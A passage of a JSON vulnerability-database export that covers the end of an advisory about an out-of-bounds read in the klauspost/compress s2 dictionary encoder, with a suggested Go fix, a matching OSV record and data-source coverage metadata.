dictionary data via `s2.NewDict()`\n2. Calls `Dict.Encode()` on any data ≥32 bytes\n\n## Suggested Fix\n\nValidate the uvarint value before converting to int:\n\n```go\nif r > math.MaxInt64 {\n    return nil\n}\nd.repeat = int(r)\n```\n\nOr use `uint` for the repeat field and validate against `uint(len(dict))`.\n\n## References\n\n- Source: `s2/dict.go` lines 59-61 (vulnerability), `s2/encode_all.go` line 947 (crash site)\n- Commit: 539243b (v1.18.6 + 4 commits)\n\n## Credits\nChristopher Linke / https://github.com/celinke97/","state":0,"publishedAt":"2026-10-20T14:33:33+00:00","modifiedAt":"2026-10-20T14:45:03.7827186+00:00","affected":[{"ecosystem":"Go","name":"github.com/klauspost/compress","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.18.7"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/klauspost/compress/security/advisories/GHSA-259r-337f-4rfw","https://nvd.nist.gov/vuln/detail/CVE-2026-63209","https://github.com/klauspost/compress/pull/1163","https://github.com/klauspost/compress/commit/539243b8823ee8f03e49969823d57c348c917536","https://github.com/klauspost/compress/commit/8668e357e776d5152ed62f33c17f21b8690664fa","https://github.com/klauspost/compress","https://github.com/klauspost/compress/releases/tag/v1.18.7"],"sourceUrl":"https://github.com/advisories/GHSA-259r-337f-4rfw","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-259r-337f-4rfw","identifiers":["GHSA-259r-337f-4rfw","CVE-2026-63209","GO-2026-5841"]},"retained":false,"historicalAffected":[]},{"revision":"c23418ccbedb4ae4a0d1dac3af0f15ee","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5841","aliases":["CVE-2026-63209","GHSA-259r-337f-4rfw"],"title":"OOB read in github.com/klauspost/compress/s2","description":"Providing a specially crafted dictionary to s2.NewDict and using it to encode data can make the encoder read out of bounds.","state":0,"publishedAt":"2026-07-27T16:16:22+00:00","modifiedAt":"2026-09-30T03:55:34.839664+00:00","affected":[{"ecosystem":"Go","name":"github.com/klauspost/compress","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.16.0"},{"kind":"fixed","version":"1.18.7"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/klauspost/compress/security/advisories/GHSA-259r-337f-4rfw","https://github.com/klauspost/compress/commit/8668e357e776d5152ed62f33c17f21b8690664fa"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5841","license":"OSV · upstream source license applies","key":"osv:GO-2026-5841","identifiers":["GO-2026-5841","CVE-2026-63209","GHSA-259r-337f-4rfw"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-08T13:04:23.5160344+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-08T13:04:23.5160344+00:00","lastSuccessAt":"2026-11-08T13:04:23.701507+00:00","error":null,"lastVerifiedAt":"2026-11-08T13:04:23.7015079+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-eaa64dac63caa79c8d4905619258c41c51b39e461b996124e1a21b5e85e7e738-5e9a1b25b88c72db8d3c46be95e52009e07ae4af884484ac8e34e4d7f79f07eb","complete":true,"records":421098,"lastAttemptAt":"2026-11-08T13:04:23.0585244+00:00","lastSuccessAt":"2026-11-08T13:04:23.0353669+00:00","error":null,"lastVerifiedAt":"2026-11-08T13:04:23.0585244+00:00","snapshotPublishedAt":"2026-11-08T12:20:14+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-383c643166b94ac4b6a615647191978e","complete":true,"records":13654,"lastAttemptAt":"2026-11-08T13:04:50.0771652+00:00","lastSuccessAt":"2026-11-08T13:04:50.073+00:00","error":null,"lastVerifiedAt":"2026-11-08T13:04:50.073+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13706,"expectedIdentifiers":13706,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-08T13:04:23.5160344+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-08T13:04:23.5160344+00:00","lastSuccessAt":"2026-11-08T13:04:23.7022986+00:00","error":null,"lastVerifiedAt":"2026-11-08T13:04:23.7022987+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-d0adb98f65b04a798dd6ab08fb972092","complete":false,"records":13666,"lastAttemptAt":"2026-11-08T13:04:49.0861553+00:00","lastSuccessAt":"2026-11-08T13:04:49.083+00:00","error":null,"lastVerifiedAt":"2026-11-08T13:04:49.083+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13185,"expectedIdentifiers":13706,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-980593e6977a6d1b4fb1eed5a1ffe88a468736f89f0a06f710924ad59132c023","complete":true,"records":9914,"lastAttemptAt":"2026-11-08T13:04:23.3678903+00:00","lastSuccessAt":"2026-11-08T11:07:07.068788+00:00","error":null,"lastVerifiedAt":"2026-11-08T13:04:23.3678903+00:00","snapshotPublishedAt":"2026-11-08T11:02:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-08T13:04:23.1502223+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-08T13:04:23.1502223+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-964c14035e6f0f6478b2870fad6a7ef9f6045876d4a12af2c2e514521e54b6af","complete":true,"records":3055,"lastAttemptAt":"2026-11-08T13:04:23.4767311+00:00","lastSuccessAt":"2026-11-08T11:07:12.1927025+00:00","error":null,"lastVerifiedAt":"2026-11-08T13:04:23.4767311+00:00","snapshotPublishedAt":"2026-11-08T11:02:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-f8647d7ba64b1ba0dfdc7130944766d5b36d5b77d18fff0c79e651a4cff3c2b9","complete":true,"records":231293,"lastAttemptAt":"2026-11-08T13:04:23.2659134+00:00","lastSuccessAt":"2026-11-08T11:06:56.2918717+00:00","error":null,"lastVerifiedAt":"2026-11-08T13:04:23.2659134+00:00","snapshotPublishedAt":"2026-11-08T11:02:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}